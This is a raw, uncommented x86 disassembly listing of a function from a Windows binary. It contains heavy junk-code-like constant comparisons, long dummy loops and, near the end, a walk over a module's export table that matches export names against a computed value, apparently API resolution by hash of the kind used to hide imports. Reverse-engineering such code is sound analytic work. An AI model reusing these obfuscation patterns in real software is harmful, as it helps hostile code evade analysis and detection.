mov dword [ebp - 0x1f4], 1
jmp 0x1003e4e3
mov eax, dword [ebp - 0x1f4]
dec eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jl 0x1003e587
mov dword [ebp - 0x10dc], 0x1b3fe78d
mov dword [ebp - 0x41c], 0
jmp 0x1003e513
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 2
jge 0x1003e52f
mov eax, dword [ebp - 0x41c]
mov dword [ebp + eax*4 - 0x1534], 0x2e9d3b
jmp 0x1003e506
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1534]
mov dword [ebp - 0xb18], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb18]
mov dword [ebp + eax - 0x11f0], ecx
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0xb18]
jl 0x1003e56f
mov dword [ebp - 0xb20], 1
jmp 0x1003e576
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0xb20]
mov dword [ebp - 0x10dc], eax
jmp 0x1003e4d6
jmp 0x1003e6d6
mov dword [ebp - 0xb60], 0x12cb5dc
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xea4], 0xfff8
jne 0x1003e5b4
mov dword [ebp - 0xb30], 1
jmp 0x1003e5bb
and dword [ebp - 0xb30], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xea4], 0xfffffffd
jne 0x1003e5d7
mov dword [ebp - 0xb28], 1
jmp 0x1003e5de
and dword [ebp - 0xb28], 0
mov eax, dword [ebp - 0xb60]
cmp dword [ebp - 0xb28], eax
jne 0x1003e5f8
mov dword [ebp - 0xb38], 1
jmp 0x1003e5ff
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0xb30]
cmp eax, dword [ebp - 0xb38]
jg 0x1003e619
mov dword [ebp - 0xb40], 1
jmp 0x1003e620
and dword [ebp - 0xb40], 0
cmp dword [ebp - 0xb40], 0
jae 0x1003e635
mov dword [ebp - 0xb48], 1
jmp 0x1003e63c
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0xb48]
jge 0x1003e653
mov dword [ebp - 0xb50], 1
jmp 0x1003e65a
and dword [ebp - 0xb50], 0
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe8c]
call fcn.10025e5b
mov ecx, dword [ebp - 0xb50]
cmp ecx, dword [eax]
je 0x1003e67e
mov dword [ebp - 0xb58], 1
jmp 0x1003e685
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0xb58]
sub eax, dword [ebp - 0xb60]
cmp eax, 0xffffffff
jg 0x1003e6a2
mov dword [ebp - 0xb68], 1
jmp 0x1003e6a9
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0xb68], eax
jne 0x1003e6c3
mov dword [ebp - 0xb70], 1
jmp 0x1003e6ca
and dword [ebp - 0xb70], 0
mov eax, dword [ebp - 0xb70]
mov dword [ebp - 0x1f4], eax
jmp 0x1003e215
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8c]
call fcn.10025e3f
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003ec96
push 4
lea ecx, [ebp - 0x27c]
call fcn.10025ddd
mov dword [ebp - 4], 0x32
mov dword [ebp - 0x190], 1
mov dword [ebp - 0x628], 0xffffffff
mov dword [ebp - 0x640], 0x9898791b
mov dword [ebp - 0x424], 0
jmp 0x1003e747
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 4
jge 0x1003e769
push dword [ebp - 0x424]
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov dword [eax], 1
jmp 0x1003e73a
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003e7d6
mov dword [ebp - 0x1480], 0xf2f4a8b1
mov dword [ebp - 0x5c4], 0x1328
mov dword [ebp - 0x42c], 0
jmp 0x1003e7a8
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 3
jge 0x1003e7c4
mov eax, dword [ebp - 0x42c]
mov dword [ebp + eax*4 - 0x1874], 0x6a9ef72d
jmp 0x1003e79b
mov eax, dword [ebp - 0x5c4]
dec eax
mov dword [ebp - 0x5c4], eax
jmp 0x1003eb4b
mov dword [ebp - 0x5e0], 0x6717b38e
mov dword [ebp - 0x1390], 0x93f04518
mov dword [ebp - 0x138c], 0x93f04518
mov dword [ebp - 0x1388], 0x93f04518
mov dword [ebp - 0x1384], 0x93f04518
lea ecx, [ebp - 0x599]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x1380]
push eax
lea eax, [ebp - 0x1390]
push eax
lea ecx, [ebp - 0x17b8]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x15c0]
call fcn.10025e19
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x434], 0
jmp 0x1003e85a
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 2
jge 0x1003e876
mov eax, dword [ebp - 0x434]
mov dword [ebp + eax*4 - 0x2bc], 0
jmp 0x1003e84d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2bc], 0
jne 0x1003e89f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2bc], 0
jne 0x1003e89f
and dword [ebp - 0x11fc], 0
jmp 0x1003e8a9
mov dword [ebp - 0x11fc], 1
push 3
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2bc], 0
je 0x1003e8d8
push 0
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003e8ea
cmp dword [ebp - 0x190], 0
jne 0x1003e8ea
and dword [ebp - 0x5c8], 0
jmp 0x1003e8f4
mov dword [ebp - 0x5c8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2bc]
cmp dword [ebp - 0x5c8], eax
je 0x1003e924
push 0
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003e924
and dword [ebp - 0x5d0], 0
jmp 0x1003e92e
mov dword [ebp - 0x5d0], 1
cmp dword [ebp - 0x5d0], 0
jne 0x1003e943
mov dword [ebp - 0x5d8], 1
jmp 0x1003e94a
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5e0], eax
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x2bc]
mov edi, dword [ebp - 0x5e0]
push 4
pop eax
imul eax, eax, 0
mov ebx, dword [ebp + eax - 0x2bc]
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
sub ebx, dword [eax]
imul ebx, edi
cmp ebx, esi
jl 0x1003e998
mov dword [ebp - 0x5e8], 1
jmp 0x1003e99f
and dword [ebp - 0x5e8], 0
push 2
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov ecx, dword [ebp - 0x5e8]
cmp ecx, dword [eax]
jne 0x1003e9c2
mov dword [ebp - 0x51c], 1
jmp 0x1003e9c9
and dword [ebp - 0x51c], 0
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov ecx, dword [ebp - 0x51c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x51c], eax
jne 0x1003e9f8
mov dword [ebp - 0x5f0], 1
jmp 0x1003e9ff
and dword [ebp - 0x5f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bc]
cmp dword [ebp - 0x5f0], eax
jl 0x1003ea20
mov dword [ebp - 0x5f8], 1
jmp 0x1003ea27
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x5f8]
neg eax
cmp eax, 0xb541
jge 0x1003ea42
mov dword [ebp - 0x600], 1
jmp 0x1003ea49
and dword [ebp - 0x600], 0
push 4
pop eax
shl eax, 0
imul ecx, dword [ebp - 0x600], 0x3ee7
cmp ecx, dword [ebp + eax - 0x2bc]
jge 0x1003ea80
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003ea80
mov dword [ebp - 0x608], 1
jmp 0x1003ea87
and dword [ebp - 0x608], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bc]
cmp dword [ebp - 0x608], eax
jge 0x1003eaa8
mov dword [ebp - 0x610], 1
jmp 0x1003eaaf
and dword [ebp - 0x610], 0
cmp dword [ebp - 0x610], 0
jb 0x1003eac4
mov dword [ebp - 0x618], 1
jmp 0x1003eacb
and dword [ebp - 0x618], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bc]
cmp dword [ebp - 0x618], eax
jne 0x1003eaec
mov dword [ebp - 0x10e4], 1
jmp 0x1003eaf3
and dword [ebp - 0x10e4], 0
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x15c4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2bc]
cmp eax, dword [ebp - 0x190]
jg 0x1003eb20
mov dword [ebp - 0x620], 1
jmp 0x1003eb27
and dword [ebp - 0x620], 0
push 2
lea ecx, [ebp - 0x15c0]
call fcn.10025e5b
mov ecx, dword [ebp - 0x620]
mov dword [eax], ecx
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x15c0]
call fcn.10025e3f
push 3
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
cmp dword [ebp - 0x190], 0xdc1b2d86
jne 0x1003eb70
mov dword [ebp - 0x630], 1
jmp 0x1003eb77
and dword [ebp - 0x630], 0
mov dword [ebp - 0x628], 1
mov eax, dword [ebp - 0x628]
cmp eax, dword [ebp - 0x630]
jge 0x1003eb9b
mov dword [ebp - 0x638], 1
jmp 0x1003eba2
and dword [ebp - 0x638], 0
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov ecx, dword [ebp - 0x638]
imul ecx, dword [eax]
neg ecx
mov dword [ebp - 0x640], ecx
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x1488], eax
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x15e0], eax
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov esi, eax
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x1003ec06
mov dword [ebp - 0x648], 1
jmp 0x1003ec0d
and dword [ebp - 0x648], 0
mov esi, dword [ebp - 0x648]
sub esi, dword [ebp - 0x190]
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
cmp dword [eax], esi
jle 0x1003ec36
mov dword [ebp - 0x650], 1
jmp 0x1003ec3d
and dword [ebp - 0x650], 0
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov ecx, dword [ebp - 0x650]
cmp ecx, dword [eax]
jne 0x1003ec60
mov dword [ebp - 0x658], 1
jmp 0x1003ec67
and dword [ebp - 0x658], 0
push 1
lea ecx, [ebp - 0x27c]
call fcn.10025e5b
mov ecx, dword [ebp - 0x658]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x27c]
call fcn.10025e3f
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xc0], ax
jmp 0x1003f78e
mov dword [ebp - 0x6d0], 0xfb643e26
mov dword [ebp - 0xf40], 0xb5b3a04b
mov dword [ebp - 0xd0], 0
jmp 0x1003ecc8
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 1
jge 0x1003ece1
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x54], 0xfffffff6
jmp 0x1003ecbb
mov dword [ebp - 0xd0], 0
jmp 0x1003ecfa
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x1003ed16
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x488], 0xa7b445ac
jmp 0x1003eced
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x54], 0
jmp 0x1003ed3b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x54], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0x10
jge 0x1003f3ea
mov dword [ebp - 0x13b8], 0xad386cce
mov dword [ebp - 0x13b4], 0xad386cce
mov dword [ebp - 0x13b0], 0xad386cce
mov dword [ebp - 0x13ac], 0xad386cce
lea ecx, [ebp - 0x591]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x13a8]
push eax
lea eax, [ebp - 0x13b8]
push eax
lea ecx, [ebp - 0x17a8]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe98]
call fcn.10025e19
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x1fc], 0xf47a6d
mov dword [ebp - 0xe0], 1
push 3
lea ecx, [ebp - 0x1278]
call fcn.10025ddd
mov byte [ebp - 4], 0x35
push 3
lea ecx, [ebp - 0x13c4]
call fcn.10025ddd
mov byte [ebp - 4], 0x36
mov dword [ebp - 0xd8], 0
jmp 0x1003edff
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x1003ee21
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x1278]
call fcn.10025e5b
mov dword [eax], 0xfffffffe
jmp 0x1003edf2
mov dword [ebp - 0xd8], 0
jmp 0x1003ee3a
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x1003ee5c
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x13c4]
call fcn.10025e5b
mov dword [eax], 0x95534fd3
jmp 0x1003ee2d
mov byte [ebp - 0x1a9], 0
movzx eax, byte [ebp - 0x1a9]
test eax, eax
je 0x1003ee76
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x6a0], 0x1a44
mov dword [ebp - 0xf38], 0x10008450
cmp dword [ebp - 0x6a0], 0x1d68
jle 0x1003efa0
and dword [ebp - 0x454], 0
jmp 0x1003eeb0
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0x66b8
jge 0x1003efa0
and dword [ebp - 0x43c], 0
jmp 0x1003eed6
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x1db4
jge 0x1003ef9b
and dword [ebp - 0x44c], 0
jmp 0x1003eefc
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0x15e7
jge 0x1003ef96
and dword [ebp - 0x45c], 0
jmp 0x1003ef22
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0x2ca
jge 0x1003ef91
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x44c]
and eax, dword [ebp - 0x454]
and eax, dword [ebp - 0x45c]
cdq
mov dword [ebp - 0x102c], eax
mov dword [ebp - 0x1028], edx
push dword [ebp - 0x1028]
push dword [ebp - 0x102c]
lea ecx, [ebp - 0x185c]
call fcn.1000a415
pop ecx
pop ecx
mov dword [ebp - 0x1174], eax
mov ecx, dword [ebp - 0x1174]
call fcn.10025bf8
push eax
call fcn.10060ec6
pop ecx
lea ecx, [ebp - 0x185c]
call fcn.10025bda
jmp 0x1003ef15
jmp 0x1003eeef
jmp 0x1003eec9
jmp 0x1003eea3
mov dword [ebp - 0x1fc], 3
jmp 0x1003efb9
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jl 0x1003f370
push 4
lea ecx, [ebp - 0xe40]
call fcn.10025ddd
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x464], 0
jmp 0x1003eff0
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 4
jge 0x1003f012
push dword [ebp - 0x464]
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
mov dword [eax], 0xd72276b
jmp 0x1003efe3
push 3
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
mov dword [eax], 3
jmp 0x1003f04b
push 3
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x660]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x660]
mov dword [ecx], eax
push 3
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
cmp dword [eax], 0
jl 0x1003f35c
mov dword [ebp - 0x48], 0xfffffff9
mov dword [ebp - 0x48], 3
jmp 0x1003f078
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x1003f13a
push dword [ebp - 0x48]
lea ecx, [ebp - 0xe98]
call fcn.10025e5b
cmp dword [eax], 0xcd7d393e
je 0x1003f0a4
mov dword [ebp - 0x668], 1
jmp 0x1003f0ab
and dword [ebp - 0x668], 0
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0xe98]
call fcn.10025e5b
mov esi, dword [ebp - 0x668]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
cmp esi, dword [eax]
jle 0x1003f0e1
mov dword [ebp - 0x670], 1
jmp 0x1003f0e8
and dword [ebp - 0x670], 0
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0xe98]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [ebp - 0x670]
jne 0x1003f10f
mov dword [ebp - 0x524], 1
jmp 0x1003f116
and dword [ebp - 0x524], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x524]
mov dword [ebp + eax - 0x488], ecx
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0xe0], eax
jmp 0x1003f071
mov dword [ebp - 0xe0], 2
jmp 0x1003f153
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x1003f357
mov dword [ebp - 0x48], 3
jmp 0x1003f170
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x1003f1bd
mov dword [ebp - 0x2a0], 0xfffffffa
mov dword [ebp - 0x2a0], 0
jmp 0x1003f199
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 4
jge 0x1003f1bb
push dword [ebp - 0x2a0]
lea ecx, [ebp - 0xe98]
call fcn.10025e5b
mov dword [eax], 0xa37d7c86
jmp 0x1003f18c
jmp 0x1003f169
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1490], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp + eax - 0x488]
jge 0x1003f1e4
mov dword [ebp - 0x678], 1
jmp 0x1003f1eb
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x678]
jge 0x1003f202
mov dword [ebp - 0x680], 1
jmp 0x1003f209
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x680]
neg eax
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ebp + ecx*4 - 0x488]
sub ecx, eax
imul eax, ecx, 0x1322
test eax, eax
jne 0x1003f245
push 3
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003f245
and dword [ebp - 0x688], 0
jmp 0x1003f24f
mov dword [ebp - 0x688], 1
push dword [ebp - 0xe0]
lea ecx, [ebp - 0xe98]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [ebp - 0x688]
jl 0x1003f276
mov dword [ebp - 0x690], 1
jmp 0x1003f27d
and dword [ebp - 0x690], 0
push 1
lea ecx, [ebp - 0xe98]
call fcn.10025e5b
mov ecx, dword [ebp - 0x690]
cmp ecx, dword [eax]
jne 0x1003f2a0
mov dword [ebp - 0xf2c], 1
jmp 0x1003f2a7
and dword [ebp - 0xf2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
mov dword [ebp - 0x15d4], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x698], eax
push 2
lea ecx, [ebp - 0x1278]
call fcn.10025e5b
mov ecx, dword [ebp - 0x698]
mov dword [eax], ecx
cmp dword [ebp - 0x698], 0
je 0x1003f2fc
push 3
lea ecx, [ebp - 0xe40]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003f2fc
mov dword [ebp - 0xf30], 1
jmp 0x1003f303
and dword [ebp - 0xf30], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x488]
mov dword [ebp - 0x1498], eax
push 2
lea ecx, [ebp - 0x1278]
call fcn.10025e5b
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x488]
mov dword [ebp - 0x15e8], eax
mov esi, dword [ebp - 0xe0]
push 0
lea ecx, [ebp - 0x13c4]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [ebp + esi*4 - 0x488], eax
jmp 0x1003f146
jmp 0x1003f027
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xe40]
call fcn.10025e3f
jmp 0x1003efac
mov byte [ebp - 4], 0x38
cmp dword [ebp - 0x6a0], 0x19ca
jge 0x1003f38c
push dword [ebp - 0xf38]
call fcn.10060ec6
pop ecx
jmp 0x1003f3a8
mov dword [ebp - 4], 0x36
jmp 0x1003f3b8
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x13c4]
call fcn.10025e3f
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x1278]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe98]
call fcn.10025e3f
jmp 0x1003ed26
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x488]
mov dword [ebp - 0x6a8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6a8]
mov dword [ebp + eax - 0x54], ecx
cmp dword [ebp - 0x6a8], 0
jne 0x1003f4f4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
je 0x1003f510
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
jne 0x1003f4cd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0xffffffff
jne 0x1003f45e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
jne 0x1003f45e
and dword [ebp - 0x6b0], 0
jmp 0x1003f468
mov dword [ebp - 0x6b0], 1
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
push 4
pop edx
shl edx, 0
mov edx, dword [ebp + edx - 0x488]
imul edx, dword [ebp - 0x6b0]
neg edx
imul edx, dword [ebp + ecx - 0x488]
cmp edx, dword [ebp + eax - 0x488]
jle 0x1003f4a6
mov dword [ebp - 0x6b8], 1
jmp 0x1003f4ad
and dword [ebp - 0x6b8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6b8]
neg ecx
cmp ecx, dword [ebp + eax - 0x488]
jg 0x1003f4cd
and dword [ebp - 0x6c0], 0
jmp 0x1003f4d7
mov dword [ebp - 0x6c0], 1
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x54]
imul ecx, dword [ebp - 0x6c0]
sub ecx, dword [ebp + eax - 0x54]
je 0x1003f510
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x488], 0
je 0x1003f510
mov dword [ebp - 0x52c], 1
jmp 0x1003f517
and dword [ebp - 0x52c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x52c]
mov dword [ebp + eax - 0x488], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x488]
cmp eax, dword [ebp - 0x6d0]
jl 0x1003f54b
mov dword [ebp - 0x6c8], 1
jmp 0x1003f552
and dword [ebp - 0x6c8], 0
mov eax, 0x9f41
sub eax, dword [ebp - 0x6c8]
imul eax, dword [ebp - 0x6d0]
test eax, eax
jne 0x1003f574
mov dword [ebp - 0x6d8], 1
jmp 0x1003f57b
and dword [ebp - 0x6d8], 0
cmp dword [ebp - 0x6d8], 0xffffffff
je 0x1003f590
mov dword [ebp - 0x6e0], 1
jmp 0x1003f597
and dword [ebp - 0x6e0], 0
cmp dword [ebp - 0x6e0], 0xa8e8
jne 0x1003f5af
mov dword [ebp - 0x6e8], 1
jmp 0x1003f5b6
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0xf40], eax
mov eax, dword [0x106209f0]
and eax, 1
jne 0x1003f5f9
mov eax, dword [0x106209f0]
or eax, 1
mov dword [0x106209f0], eax
mov dword [ebp - 4], 0x3a
mov ecx, 0x10620920
call fcn.10043aec
push 0x1007962f
call fcn.10060e9c
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x106208d0]
test eax, eax
je 0x1003f665
mov ecx, 0x10620920
call fcn.10043ba3
movzx eax, al
test eax, eax
jne 0x1003f665
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x6f0]
push eax
mov ecx, 0x10620920
call fcn.10043bac
lea eax, [ebp - 0x14a0]
push eax
mov ecx, 0x10620920
call fcn.10043acf
push eax
lea ecx, [ebp - 0x6f0]
call fcn.10043a3c
movzx eax, al
test eax, eax
je 0x1003f665
lea ecx, [ebp - 0x6f0]
call fcn.10043bc1
mov eax, dword [eax + 4]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
jne 0x1003f78e
mov ecx, 0x10620920
call fcn.10043cb6
mov ecx, dword [ebp - 0x114]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10620920
call fcn.10043cba
and dword [ebp - 0x204], 0
jmp 0x1003f6a6
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x204]
cmp ecx, dword [eax + 0x18]
jae 0x1003f78e
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x214]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x204]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0
je 0x1003f789
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x214]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x17d0]
call fcn.100439bc
mov dword [ebp - 4], 0x3b
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x17d0]
call fcn.10028fd5
mov dword [ebp - 0x700], eax
movzx eax, byte [0x106208d0]
test eax, eax
je 0x1003f737
mov ecx, 0x10620920
call fcn.10043ba3
movzx eax, al
test eax, eax
jne 0x1003f757
lea eax, [ebp - 0x700]
push eax
mov ecx, 0x10620920
call fcn.10043c78
mov ecx, dword [ebp - 0x204]
mov dword [eax], ecx
mov byte [0x106208d0], 1
cmp dword [ebp - 0x20c], 0xffffffff
jne 0x1003f77a
mov eax, dword [ebp - 0x700]
cmp eax, dword [ebp - 0x46c]
jne 0x1003f77a
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x20c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17d0]
call fcn.100439df
jmp 0x1003f699
cmp dword [ebp + 0x10], 0
jne 0x1003f7bd
cmp dword [ebp - 0x20c], 0xffffffff
je 0x1003f7bd
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x214]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x20c]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xc0], ax
mov dword [ebp - 0x118], 0xffffffff
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x198], 0x70b168f9
mov dword [ebp - 0x1a0], 0xa5f27a41
mov dword [ebp - 0x798], 0x82b3
mov dword [ebp - 0x474], 0
jmp 0x1003f805
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 3
jge 0x1003f821
mov eax, dword [ebp - 0x474]
mov dword [ebp + eax*4 - 0xe50], 0x76ec7516
jmp 0x1003f7f8
cmp dword [ebp - 0x50], 0xd069
je 0x1003f836
mov dword [ebp - 0x708], 1
jmp 0x1003f83d
and dword [ebp - 0x708], 0
cmp dword [ebp - 0x50], 0x18e9934b
jl 0x1003f852
mov dword [ebp - 0x710], 1
jmp 0x1003f859
and dword [ebp - 0x710], 0
mov eax, dword [ebp - 0x708]
sub eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x50]
jge 0x1003f876
mov dword [ebp - 0x720], 1
jmp 0x1003f87d
and dword [ebp - 0x720], 0
mov dword [ebp - 0x118], 0x8ccc
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x718], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x718]
